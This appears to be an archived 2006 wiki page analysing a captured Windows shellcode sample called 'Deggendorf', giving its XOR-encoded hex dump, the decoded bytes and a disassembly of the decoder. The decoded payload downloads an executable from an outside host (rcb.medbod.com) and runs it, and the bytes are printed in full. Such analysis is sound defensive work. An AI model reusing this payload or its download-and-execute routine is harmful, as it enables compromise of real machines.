Deggendorf Shellcode

Shellcode

raw

00000000  eb 10 5a 4a 31 c9 66 b9  c3 02 80 34 0a 21 e2 fa  |ë.ZJ1Éf¹Ã..4.!âú|
00000010  eb 05 e8 eb ff ff ff 90  b1 b1 b1 b1 c9 a1 21 21  |ë.èëÿÿÿ.±±±±É¡!!|
00000020  21 21 20 23 22 25 24 27  26 29 28 2b 2a 2d 2c 2f  |!! #"%$'&)(+*-,/|
00000030  2e 31 30 33 32 35 34 37  36 39 38 3b 3a 3d 3c 3f  |.1032547698;:=<?|
00000040  3e 01 01 03 02 05 04 07  06 09 08 0b 0a 0d 0c 0f  |>...............|
00000050  0e 11 10 13 12 15 14 17  16 19 18 1b 1a 1d 1c 1f  |................|
00000060  1e 47 47 47 47 47 47 47  47 47 47 47 47 47 47 47  |.GGGGGGGGGGGGGGG|
00000070  47 47 47 47 47 47 47 47  47 47 47 47 47 47 47 47  |GGGGGGGGGGGGGGGG|
*
000000a0  47 7f c9 e3 20 21 21 a8  27 de 17 49 af 6f 2f cd  |G.Éã !!š'Þ.I¯o/Í|
000000b0  c9 ec 20 21 21 a8 67 29  de 17 49 84 36 21 5d c9  |Éì !!šg)Þ.I.6!]É|
000000c0  9f 20 21 21 a8 67 2d de  17 49 3e 58 2b c9 c9 8e  |. !!šg-Þ.I>X+ÉÉ.|
000000d0  20 21 21 a8 67 31 de 17  49 da b6 dc 2e c9 81 20  | !!šg1Þ.IÚ¶Ü.É. |
000000e0  21 21 a8 67 35 de 17 49  53 df 92 37 c9 b0 20 21  |!!šg5Þ.ISß.7ɰ !|
000000f0  21 a8 67 39 de 17 49 91  68 0c fa c9 a3 20 21 21  |!šg9Þ.I.h.úÉ£ !!|
00000100  a8 67 3d 10 e1 71 91 a3  71 91 23 71 11 e1 71 71  |šg=.áq.£q.#q.áqq|
00000110  91 61 e0 c1 39 71 b1 b1  b1 c9 2d 21 21 21 47 55  |.aàÁ9q±±±É-!!!GU|
00000120  42 4f 12 13 40 0f 44 59  44 21 de 77 2d a8 67 0d  |BO..@.DYD!Þw-šg.|
00000130  c9 29 21 21 21 56 48 4f  48 4f 44 55 21 de 77 29  |É)!!!VHOHODU!Þw)|
00000140  a8 67 25 de 57 25 49 08  65 c9 76 c9 13 20 21 21  |šg%ÞW%I.eÉvÉ. !!|
00000150  a8 67 01 de 57 25 49 68  cc 2e 5f c9 03 20 21 21  |šg.ÞW%IhÌ._É. !!|
00000160  a8 67 05 de 57 25 49 aa  6a c2 7e c9 33 20 21 21  |šg.ÞW%IªjÂ~É3 !!|
00000170  a8 67 09 10 e1 71 71 71  71 71 de 77 01 a8 67 11  |šg..áqqqqqÞw.šg.|
00000180  10 e1 71 71 71 71 c9 61  21 21 21 49 55 55 51 1b  |.áqqqqÉa!!!IUUQ.|
00000190  0e 0e 53 42 43 0f 4c 44  45 43 4e 45 0f 42 4e 4c  |..SBC.LDECNE.BNL|
000001a0  0e 52 44 44 45 0e 47 55  42 4f 12 13 40 0f 44 59  |.RDDE.GUBO..@.DY|
000001b0  44 21 21 21 21 21 21 21  21 21 21 21 21 21 21 21  |D!!!!!!!!!!!!!!!|
000001c0  21 21 21 21 21 21 21 21  21 21 21 de 57 11 de 77  |!!!!!!!!!!!ÞW.Þw|
000001d0  05 a8 67 15 10 e8 47 98  21 31 a8 d1 24 19 21 21  |.šg..èG.!1šÑ$.!!|
000001e0  21 71 49 61 21 21 21 a8  d1 24 61 21 21 21 71 de  |!qIa!!!šÑ$a!!!qÞ|
000001f0  57 15 de 77 09 aa 67 19  a4 e1 2e a5 3f 21 21 21  |W.Þw.ªg.€á.¥?!!!|
00000200  10 e1 71 a8 d1 24 1d 21  21 21 71 de 57 19 a8 d1  |.áqšÑ$.!!!qÞW.šÑ|
00000210  24 61 21 21 21 71 de 57  0d de 77 31 c3 9d de 57  |$a!!!qÞW.Þw1Ã.ÞW|
00000220  0d de 77 35 a0 cd 75 21  21 21 ac 1d 05 10 e1 10  |.Þw5 Íu!!!¬...á.|
00000230  e8 a0 e0 34 21 21 21 8a  c3 dc e7 65 05 31 65 ac  |è à4!!!.ÃÜçe.1e¬|
00000240  65 05 31 75 71 70 70 70  70 70 70 c9 2c 21 21 21  |e.1uqppppppÉ,!!!|
00000250  47 55 42 4f 12 13 40 0f  44 59 44 21 21 70 de 77  |GUBO..@.DYD!!pÞw|
00000260  39 49 de de de de de 77  3d 74 77 45 80 11 21 21  |9IÞÞÞÞÞw=twE..!!|
00000270  21 aa 61 2d aa 51 3d 8c  aa 49 29 a8 c9 7f 7c e3  |!ªa-ªQ=.ªI)šÉ.|ã|
00000280  25 21 72 74 77 76 aa 4d  05 39 aa 64 1d aa 75 24  |%!rtwvªM.9ªd.ªu$|
00000290  59 20 cb aa 6b 39 aa 7b  01 20 ca c2 13 68 aa 15  |Y ˪k9ª{. ÊÂ.hª.|
000002a0  aa 20 cf 10 de dd 10 e1  8d 19 c1 55 26 e0 ee 2c  |ª Ï.ÞÝ.á..ÁU&àî,|
000002b0  20 e6 ca d3 1a 5d 05 35  54 c0 aa 7b 05 20 ca 47  | æÊÓ.].5TÀª{. ÊG|
000002c0  aa 2d 6a aa 7b 3d 20 ca  aa 25 aa 20 c9 ca 23 10  |ª-jª{= ʪ%ª ÉÊ#.|
000002d0  e1 a8 cb 7e 7f 7c 7a e3  25 21 90 90 90 90 90 90  |ášË~.|zã%!......|
000002e0  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|
*
000006a0

unxor'd

|
00000060  3f 66 66 66 66 66 66 66  66 66 66 66 66 66 66 66  |?fffffffffffffff|
00000070  66 66 66 66 66 66 66 66  66 66 66 66 66 66 66 66  |ffffffffffffffff|
*
000000a0  66 5e e8 c2 01 00 00 89  06 ff 36 68 8e 4e 0e ec  |f^èÂ.....ÿ6h.N.ì|
000000b0  e8 cd 01 00 00 89 46 08  ff 36 68 a5 17 00 7c e8  |èÍ....F.ÿ6h¥..|è|
000000c0  be 01 00 00 89 46 0c ff  36 68 1f 79 0a e8 e8 af  |Ÿ....F.ÿ6h.y.èè¯|
000000d0  01 00 00 89 46 10 ff 36  68 fb 97 fd 0f e8 a0 01  |....F.ÿ6hû.ý.è .|
000000e0  00 00 89 46 14 ff 36 68  72 fe b3 16 e8 91 01 00  |...F.ÿ6hrþ³.è...|
000000f0  00 89 46 18 ff 36 68 b0  49 2d db e8 82 01 00 00  |..F.ÿ6h°I-Ûè....|
00000100  89 46 1c 31 c0 50 b0 82  50 b0 02 50 30 c0 50 50  |.F.1ÀP°.P°.P0ÀPP|
00000110  b0 40 c1 e0 18 50 90 90  90 e8 0c 00 00 00 66 74  |°@Áà.P...è....ft|
00000120  63 6e 33 32 61 2e 65 78  65 00 ff 56 0c 89 46 2c  |cn32a.exe.ÿV..F,|
00000130  e8 08 00 00 00 77 69 6e  69 6e 65 74 00 ff 56 08  |è....wininet.ÿV.|
00000140  89 46 04 ff 76 04 68 29  44 e8 57 e8 32 01 00 00  |.F.ÿv.h)DèWè2...|
00000150  89 46 20 ff 76 04 68 49  ed 0f 7e e8 22 01 00 00  |.F ÿv.hIí.~è"...|
00000160  89 46 24 ff 76 04 68 8b  4b e3 5f e8 12 01 00 00  |.F$ÿv.h.Kã_è....|
00000170  89 46 28 31 c0 50 50 50  50 50 ff 56 20 89 46 30  |.F(1ÀPPPPPÿV .F0|
00000180  31 c0 50 50 50 50 e8 40  00 00 00 68 74 74 70 3a  |1ÀPPPPè@...http:|
00000190  2f 2f 72 63 62 2e 6d 65  64 62 6f 64 2e 63 6f 6d  |//rcb.medbod.com|
000001a0  2f 73 65 65 64 2f 66 74  63 6e 33 32 61 2e 65 78  |/seed/ftcn32a.ex|
000001b0  65 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |e...............|
000001c0  00 00 00 00 00 00 00 00  00 00 00 ff 76 30 ff 56  |...........ÿv0ÿV|
000001d0  24 89 46 34 31 c9 66 b9  00 10 89 f0 05 38 00 00  |$.F41Éf¹...ð.8..|
000001e0  00 50 68 40 00 00 00 89  f0 05 40 00 00 00 50 ff  |.Ph@....ð.@...Pÿ|
000001f0  76 34 ff 56 28 8b 46 38  85 c0 0f 84 1e 00 00 00  |v4ÿV(.F8.À......|
00000200  31 c0 50 89 f0 05 3c 00  00 00 50 ff 76 38 89 f0  |1ÀP.ð.<...Pÿv8.ð|
00000210  05 40 00 00 00 50 ff 76  2c ff 56 10 e2 bc ff 76  |.@...Pÿv,ÿV.âŒÿv|
00000220  2c ff 56 14 81 ec 54 00  00 00 8d 3c 24 31 c0 31  |,ÿV..ìT....<$1À1|
00000230  c9 81 c1 15 00 00 00 ab  e2 fd c6 44 24 10 44 8d  |É.Á....«âýÆD$.D.|
00000240  44 24 10 54 50 51 51 51  51 51 51 e8 0d 00 00 00  |D$.TPQQQQQQè....|
00000250  66 74 63 6e 33 32 61 2e  65 78 65 00 00 51 ff 56  |ftcn32a.exe..QÿV|
00000260  18 68 ff ff ff ff ff 56  1c 55 56 64 a1 30 00 00  |.hÿÿÿÿÿV.UVd¡0..|
00000270  00 8b 40 0c 8b 70 1c ad  8b 68 08 89 e8 5e 5d c2  |..@..p.­.h..è^]Â|
00000280  04 00 53 55 56 57 8b 6c  24 18 8b 45 3c 8b 54 05  |..SUVW.l$..E<.T.|
00000290  78 01 ea 8b 4a 18 8b 5a  20 01 eb e3 32 49 8b 34  |x.ê.J..Z .ëã2I.4|
000002a0  8b 01 ee 31 ff fc 31 c0  ac 38 e0 74 07 c1 cf 0d  |..î1ÿü1À¬8àt.ÁÏ.|
000002b0  01 c7 eb f2 3b 7c 24 14  75 e1 8b 5a 24 01 eb 66  |.Çëò;|$.uá.Z$.ëf|
000002c0  8b 0c 4b 8b 5a 1c 01 eb  8b 04 8b 01 e8 eb 02 31  |..K.Z..ë....èë.1|
000002d0  c0 89 ea 5f 5e 5d 5b c2  04 00 90 90 90 90 90 90  |À.ê_^][Â........|
000002e0  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|
*
000006a0

Analysis

xor decoder

00424A31   EB 10            JMP SHORT 1980_byt.00424A43
00424A33   5A               POP EDX
00424A34   4A               DEC EDX
00424A35   31C9             XOR ECX,ECX
00424A37   66:B9 C302       MOV CX,2C3                               ; 2byte xor len
00424A3B   80340A 21        XOR BYTE PTR DS:[EDX+ECX],21             ; 1byte xor key
00424A3F  ^E2 FA            LOOPD SHORT 1980_byt.00424A3B
00424A41   EB 05            JMP SHORT 1980_byt.00424A48
00424A43   E8 EBFFFFFF      CALL 1980_byt.00424A33

unxor'd shellcode

as it was recognized by the url, i saved my time here

00424A48   90               NOP
00424A49   B1 B1            MOV CL,0B1
00424A4B   B1 B1            MOV CL,0B1
00424A4D   C9               LEAVE
00424A4E   A1 21212121      MOV EAX,DWORD PTR DS:[21212121]
00424A53   2023             AND BYTE PTR DS:[EBX],AH
00424A55   2225 24272629    AND AH,BYTE PTR DS:[29262724]
00424A5B   282B             SUB BYTE PTR DS:[EBX],CH
00424A5D   2A2D 2C2F2E31    SUB CH,BYTE PTR DS:[312E2F2C]
00424A63   3033             XOR BYTE PTR DS:[EBX],DH
00424A65   3235 34373639    XOR DH,BYTE PTR DS:[39363734]
00424A6B   383B             CMP BYTE PTR DS:[EBX],BH
00424A6D   3A3D 3C3F3E01    CMP BH,BYTE PTR DS:[13E3F3C]
00424A73   0103             ADD DWORD PTR DS:[EBX],EAX
00424A75   0205 04070609    ADD AL,BYTE PTR DS:[9060704]
00424A7B   080B             OR BYTE PTR DS:[EBX],CL
00424A7D   0A0D 0C0F0E11    OR CL,BYTE PTR DS:[110E0F0C]
00424A83   1013             ADC BYTE PTR DS:[EBX],DL
00424A85   1215 14171619    ADC DL,BYTE PTR DS:[19161714]
00424A8B   181B             SBB BYTE PTR DS:[EBX],BL
00424A8D   1A1D 1C1F1E47    SBB BL,BYTE PTR DS:[471E1F1C]
00424A93   47               INC EDI
00424A94   47               INC EDI
00424A95   47               INC EDI
00424A96   47               INC EDI
00424A97   47               INC EDI
00424A98   47               INC EDI
00424A99   47               INC EDI
00424A9A   47               INC EDI
00424A9B   47               INC EDI
00424A9C   47               INC EDI
00424A9D   47               INC EDI
00424A9E   47               INC EDI
00424A9F   47               INC EDI
00424AA0   47               INC EDI
00424AA1   47               INC EDI
00424AA2   47               INC EDI
00424AA3   47               INC EDI
00424AA4   47               INC EDI
00424AA5   47               INC EDI
00424AA6   47               INC EDI
00424AA7   47               INC EDI
00424AA8   47               INC EDI
00424AA9   47               INC EDI
00424AAA   47               INC EDI
00424AAB   47               INC EDI
00424AAC   47               INC EDI
00424AAD   47               INC EDI
00424AAE   47               INC EDI
00424AAF   47               INC EDI
00424AB0   47               INC EDI
00424AB1   47               INC EDI
00424AB2   47               INC EDI
00424AB3   47               INC EDI
00424AB4   47               INC EDI
00424AB5   47               INC EDI
00424AB6   47               INC EDI
00424AB7   47               INC EDI
00424AB8   47               INC EDI
00424AB9   47               INC EDI
00424ABA   47               INC EDI
00424ABB   47               INC EDI
00424ABC   47               INC EDI
00424ABD   47               INC EDI
00424ABE   47               INC EDI
00424ABF   47               INC EDI
00424AC0   47               INC EDI
00424AC1   47               INC EDI
00424AC2   47               INC EDI
00424AC3   47               INC EDI
00424AC4   47               INC EDI
00424AC5   47               INC EDI
00424AC6   47               INC EDI
00424AC7   47               INC EDI
00424AC8   47               INC EDI
00424AC9   47               INC EDI
00424ACA   47               INC EDI
00424ACB   47               INC EDI
00424ACC   47               INC EDI
00424ACD   47               INC EDI
00424ACE   47               INC EDI
00424ACF   47               INC EDI
00424AD0   47               INC EDI
00424AD1   47               INC EDI
00424AD2  ^7F C9            JG SHORT 1980_byt.00424A9D
00424AD4   E3 20            JECXZ SHORT 1980_byt.00424AF6
00424AD6   2121             AND DWORD PTR DS:[ECX],ESP
00424AD8   A8 27            TEST AL,27
00424ADA   DE17             FICOM WORD PTR DS:[EDI]
00424ADC   49               DEC ECX
00424ADD   AF               SCAS DWORD PTR ES:[EDI]
00424ADE   6F               OUTS DX,DWORD PTR ES:[EDI]               ; I/O command
00424ADF   2F               DAS
00424AE0   CD C9            INT 0C9
00424AE2   EC               IN AL,DX                                 ; I/O command
00424AE3   2021             AND BYTE PTR DS:[ECX],AH
00424AE5   21A8 6729DE17    AND DWORD PTR DS:[EAX+17DE2967],EBP
00424AEB   49               DEC ECX
00424AEC   8436             TEST BYTE PTR DS:[ESI],DH
00424AEE   215D C9          AND DWORD PTR SS:[EBP-37],EBX
00424AF1   9F               LAHF
00424AF2   2021             AND BYTE PTR DS:[ECX],AH
00424AF4   21A8 672DDE17    AND DWORD PTR DS:[EAX+17DE2D67],EBP
00424AFA   49               DEC ECX
00424AFB   3E:58            POP EAX                                  ; Superfluous prefix
00424AFD   2BC9             SUB ECX,ECX
00424AFF   C9               LEAVE
00424B00   8E20             MOV FS,WORD PTR DS:[EAX]                 ; Modification of segment register
00424B02   2121             AND DWORD PTR DS:[ECX],ESP
00424B04   A8 67            TEST AL,67
00424B06   31DE             XOR ESI,EBX
00424B08   17               POP SS                                   ; Modification of segment register
00424B09   49               DEC ECX
00424B0A   DAB6 DC2EC981    FIDIV DWORD PTR DS:[ESI+81C92EDC]
00424B10   2021             AND BYTE PTR DS:[ECX],AH
00424B12   21A8 6735DE17    AND DWORD PTR DS:[EAX+17DE3567],EBP
00424B18   49               DEC ECX
00424B19   53               PUSH EBX
00424B1A   DF92 37C9B020    FIST WORD PTR DS:[EDX+20B0C937]
00424B20   2121             AND DWORD PTR DS:[ECX],ESP
00424B22   A8 67            TEST AL,67
00424B24   39DE             CMP ESI,EBX
00424B26   17               POP SS                                   ; Modification of segment register
00424B27   49               DEC ECX
00424B28   91               XCHG EAX,ECX
00424B29   68 0CFAC9A3      PUSH A3C9FA0C
00424B2E   2021             AND BYTE PTR DS:[ECX],AH
00424B30   21A8 673D10E1    AND DWORD PTR DS:[EAX+E1103D67],EBP
00424B36  ^71 91            JNO SHORT 1980_byt.00424AC9
00424B38   A3 71912371      MOV DWORD PTR DS:[71239171],EAX
00424B3D   11E1             ADC ECX,ESP
00424B3F   71 71            JNO SHORT 1980_byt.00424BB2
00424B41   91               XCHG EAX,ECX
00424B42   61               POPAD
00424B43  ^E0 C1            LOOPDNE SHORT 1980_byt.00424B06
00424B45   3971 B1          CMP DWORD PTR DS:[ECX-4F],ESI
00424B48   B1 B1            MOV CL,0B1
00424B4A   C9               LEAVE
00424B4B   2D 21212147      SUB EAX,47212121
00424B50   55               PUSH EBP
00424B51   42               INC EDX
00424B52   4F               DEC EDI
00424B53   1213             ADC DL,BYTE PTR DS:[EBX]
00424B55   40               INC EAX
00424B56   0F4459 44        CMOVE EBX,DWORD PTR DS:[ECX+44]
00424B5A   21DE             AND ESI,EBX
00424B5C   77 2D            JA SHORT 1980_byt.00424B8B
00424B5E   A8 67            TEST AL,67
00424B60   0D C9292121      OR EAX,212129C9
00424B65   2156 48          AND DWORD PTR DS:[ESI+48],EDX
00424B68   4F               DEC EDI
00424B69   48               DEC EAX
00424B6A   4F               DEC EDI
00424B6B   44               INC ESP
00424B6C   55               PUSH EBP
00424B6D   21DE             AND ESI,EBX
00424B6F   77 29            JA SHORT 1980_byt.00424B9A
00424B71   A8 67            TEST AL,67
00424B73   25 DE572549      AND EAX,492557DE
00424B78   0865 C9          OR BYTE PTR SS:[EBP-37],AH
00424B7B  ^76 C9            JBE SHORT 1980_byt.00424B46
00424B7D   1320             ADC ESP,DWORD PTR DS:[EAX]
00424B7F   2121             AND DWORD PTR DS:[ECX],ESP
00424B81   A8 67            TEST AL,67
00424B83   01DE             ADD ESI,EBX
00424B85   57               PUSH EDI
00424B86   25 4968CC2E      AND EAX,2ECC6849
00424B8B   5F               POP EDI
00424B8C   C9               LEAVE
00424B8D   0320             ADD ESP,DWORD PTR DS:[EAX]
00424B8F   2121             AND DWORD PTR DS:[ECX],ESP
00424B91   A8 67            TEST AL,67
00424B93   05 DE572549      ADD EAX,492557DE
00424B98   AA               STOS BYTE PTR ES:[EDI]
00424B99   6A C2            PUSH -3E
00424B9B  ^7E C9            JLE SHORT 1980_byt.00424B66
00424B9D   3320             XOR ESP,DWORD PTR DS:[EAX]
00424B9F   2121             AND DWORD PTR DS:[ECX],ESP
00424BA1   A8 67            TEST AL,67
00424BA3   0910             OR DWORD PTR DS:[EAX],EDX
00424BA5   E1 71            LOOPDE SHORT 1980_byt.00424C18
00424BA7   71 71            JNO SHORT 1980_byt.00424C1A
00424BA9   71 71            JNO SHORT 1980_byt.00424C1C
00424BAB   DE77 01          FIDIV WORD PTR DS:[EDI+1]
00424BAE   A8 67            TEST AL,67
00424BB0   1110             ADC DWORD PTR DS:[EAX],EDX
00424BB2   E1 71            LOOPDE SHORT 1980_byt.00424C25
00424BB4   71 71            JNO SHORT 1980_byt.00424C27
00424BB6  ^71 C9            JNO SHORT 1980_byt.00424B81
00424BB8   61               POPAD
00424BB9   2121             AND DWORD PTR DS:[ECX],ESP
00424BBB   2149 55          AND DWORD PTR DS:[ECX+55],ECX
00424BBE   55               PUSH EBP
00424BBF   51               PUSH ECX
00424BC0   1B0E             SBB ECX,DWORD PTR DS:[ESI]
00424BC2   0E               PUSH CS
00424BC3   53               PUSH EBX
00424BC4   42               INC EDX
00424BC5   43               INC EBX
00424BC6   0F4C4445 43      CMOVL EAX,DWORD PTR SS:[EBP+EAX*2+43]
00424BCB   4E               DEC ESI
00424BCC   45               INC EBP
00424BCD   0F424E 4C        CMOVB ECX,DWORD PTR DS:[ESI+4C]
00424BD1   0E               PUSH CS
00424BD2   52               PUSH EDX
00424BD3   44               INC ESP
00424BD4   44               INC ESP
00424BD5   45               INC EBP
00424BD6   0E               PUSH CS
00424BD7   47               INC EDI
00424BD8   55               PUSH EBP
00424BD9   42               INC EDX
00424BDA   4F               DEC EDI
00424BDB   1213             ADC DL,BYTE PTR DS:[EBX]
00424BDD   40               INC EAX
00424BDE   0F4459 44        CMOVE EBX,DWORD PTR DS:[ECX+44]
00424BE2   2121             AND DWORD PTR DS:[ECX],ESP
00424BE4   2121             AND DWORD PTR DS:[ECX],ESP
00424BE6   2121             AND DWORD PTR DS:[ECX],ESP
00424BE8   2121             AND DWORD PTR DS:[ECX],ESP
00424BEA   2121             AND DWORD PTR DS:[ECX],ESP
00424BEC   2121             AND DWORD PTR DS:[ECX],ESP
00424BEE   2121             AND DWORD PTR DS:[ECX],ESP
00424BF0   2121             AND DWORD PTR DS:[ECX],ESP
00424BF2   2121             AND DWORD PTR DS:[ECX],ESP
00424BF4   2121             AND DWORD PTR DS:[ECX],ESP
00424BF6   2121             AND DWORD PTR DS:[ECX],ESP
00424BF8   2121             AND DWORD PTR DS:[ECX],ESP
00424BFA   2121             AND DWORD PTR DS:[ECX],ESP
00424BFC   DE57 11          FICOM WORD PTR DS:[EDI+11]
00424BFF   DE77 05          FIDIV WORD PTR DS:[EDI+5]
00424C02   A8 67            TEST AL,67
00424C04   15 10E84798      ADC EAX,9847E810
00424C09   2131             AND DWORD PTR DS:[ECX],ESI
00424C0B   A8 D1            TEST AL,0D1
00424C0D   24 19            AND AL,19
00424C0F   2121             AND DWORD PTR DS:[ECX],ESP
00424C11   2171 49          AND DWORD PTR DS:[ECX+49],ESI
00424C14   61               POPAD
00424C15   2121             AND DWORD PTR DS:[ECX],ESP
00424C17   21A8 D1246121    AND DWORD PTR DS:[EAX+216124D1],EBP
00424C1D   2121             AND DWORD PTR DS:[ECX],ESP
00424C1F  ^71 DE            JNO SHORT 1980_byt.00424BFF
00424C21   57               PUSH EDI
00424C22   15 DE7709AA      ADC EAX,AA0977DE
00424C27   67:19A4 E12E     SBB DWORD PTR DS:[SI+2EE1],ESP
00424C2C   A5               MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ES>
00424C2D   3F               AAS
00424C2E   2121             AND DWORD PTR DS:[ECX],ESP
00424C30   2110             AND DWORD PTR DS:[EAX],EDX
00424C32   E1 71            LOOPDE SHORT 1980_byt.00424CA5
00424C34   A8 D1            TEST AL,0D1
00424C36   24 1D            AND AL,1D
00424C38   2121             AND DWORD PTR DS:[ECX],ESP
00424C3A   2171 DE          AND DWORD PTR DS:[ECX-22],ESI
00424C3D   57               PUSH EDI
00424C3E   19A8 D1246121    SBB DWORD PTR DS:[EAX+216124D1],EBP
00424C44   2121             AND DWORD PTR DS:[ECX],ESP
00424C46  ^71 DE            JNO SHORT 1980_byt.00424C26
00424C48   57               PUSH EDI
00424C49   0D DE7731C3      OR EAX,C33177DE
00424C4E   9D               POPFD
00424C4F   DE57 0D          FICOM WORD PTR DS:[EDI+D]
00424C52   DE77 35          FIDIV WORD PTR DS:[EDI+35]
00424C55   A0 CD752121      MOV AL,BYTE PTR DS:[212175CD]
00424C5A   21AC1D 0510E110  AND DWORD PTR SS:[EBP+EBX+10E11005],EBP
00424C61   E8 A0E03421      CALL 21772D06
00424C66   2121             AND DWORD PTR DS:[ECX],ESP
00424C68   8AC3             MOV AL,BL
00424C6A   DCE7             FSUBR ST(7),ST
00424C6C   65:05 3165AC65   ADD EAX,65AC6531                         ; Superfluous prefix
00424C72   05 31757170      ADD EAX,70717531
00424C77   70 70            JO SHORT 1980_byt.00424CE9
00424C79   70 70            JO SHORT 1980_byt.00424CEB
00424C7B  ^70 C9            JO SHORT 1980_byt.00424C46
00424C7D   2C 21            SUB AL,21
00424C7F   2121             AND DWORD PTR DS:[ECX],ESP
00424C81   47               INC EDI
00424C82   55               PUSH EBP
00424C83   42               INC EDX
00424C84   4F               DEC EDI
00424C85   1213             ADC DL,BYTE PTR DS:[EBX]
00424C87   40               INC EAX
00424C88   0F4459 44        CMOVE EBX,DWORD PTR DS:[ECX+44]
00424C8C   2121             AND DWORD PTR DS:[ECX],ESP
00424C8E  ^70 DE            JO SHORT 1980_byt.00424C6E
00424C90   77 39            JA SHORT 1980_byt.00424CCB
00424C92   49               DEC ECX
00424C93   DEDE             FICOMP ESI                               ; Illegal use of register
00424C95   DEDE             FICOMP ESI                               ; Illegal use of register
00424C97   DE77 3D          FIDIV WORD PTR DS:[EDI+3D]
00424C9A   74 77            JE SHORT 1980_byt.00424D13
00424C9C   45               INC EBP
00424C9D   8011 21          ADC BYTE PTR DS:[ECX],21
00424CA0   2121             AND DWORD PTR DS:[ECX],ESP
00424CA2   AA               STOS BYTE PTR ES:[EDI]
00424CA3   61               POPAD
00424CA4   2D AA513D8C      SUB EAX,8C3D51AA
00424CA9   AA               STOS BYTE PTR ES:[EDI]
00424CAA   49               DEC ECX
00424CAB   29A8 C97F7CE3    SUB DWORD PTR DS:[EAX+E37C7FC9],EBP
00424CB1   25 21727477      AND EAX,77747221
00424CB6  ^76 AA            JBE SHORT 1980_byt.00424C62
00424CB8   4D               DEC EBP
00424CB9   05 39AA641D      ADD EAX,1D64AA39
00424CBE   AA               STOS BYTE PTR ES:[EDI]
00424CBF   75 24            JNZ SHORT 1980_byt.00424CE5
00424CC1   59               POP ECX
00424CC2   20CB             AND BL,CL
00424CC4   AA               STOS BYTE PTR ES:[EDI]
00424CC5   6B39 AA          IMUL EDI,DWORD PTR DS:[ECX],-56
00424CC8   7B 01            JPO SHORT 1980_byt.00424CCB
00424CCA   20CA             AND DL,CL
00424CCC   C2 1368          RETN 6813
00424CCF   AA               STOS BYTE PTR ES:[EDI]
00424CD0   15 AA20CF10      ADC EAX,10CF20AA
00424CD5   DEDD             FICOMP EBP                               ; Illegal use of register
00424CD7   10E1             ADC CL,AH
00424CD9   8D19             LEA EBX,DWORD PTR DS:[ECX]
00424CDB   C155 26 E0       RCL DWORD PTR SS:[EBP+26],0E0            ; Shift constant out of range 1..31
00424CDF   EE               OUT DX,AL                                ; I/O command
00424CE0   2C 20            SUB AL,20
00424CE2   E6 CA            OUT 0CA,AL                               ; I/O command
00424CE4   D31A             RCR DWORD PTR DS:[EDX],CL
00424CE6   5D               POP EBP
00424CE7   05 3554C0AA      ADD EAX,AAC05435
00424CEC   7B 05            JPO SHORT 1980_byt.00424CF3
00424CEE   20CA             AND DL,CL
00424CF0   47               INC EDI
00424CF1   AA               STOS BYTE PTR ES:[EDI]
00424CF2   2D 6AAA7B3D      SUB EAX,3D7BAA6A
00424CF7   20CA             AND DL,CL
00424CF9   AA               STOS BYTE PTR ES:[EDI]
00424CFA   25 AA20C9CA      AND EAX,CAC920AA
00424CFF   2310             AND EDX,DWORD PTR DS:[EAX]
00424D01  ^E1 A8            LOOPDE SHORT 1980_byt.00424CAB
00424D03   CB               RETF                                     ; Far return
00424D04   7E 7F            JLE SHORT 1980_byt.00424D85
00424D06   7C 7A            JL SHORT 1980_byt.00424D82
00424D08   E3 25            JECXZ SHORT 1980_byt.00424D2F
00424D0A   0090 90909090    ADD BYTE PTR DS:[EAX+90909090],DL
 
csni/shellcodes/deggendorf.txt · Last modified: 2006/02/17 14:01
 
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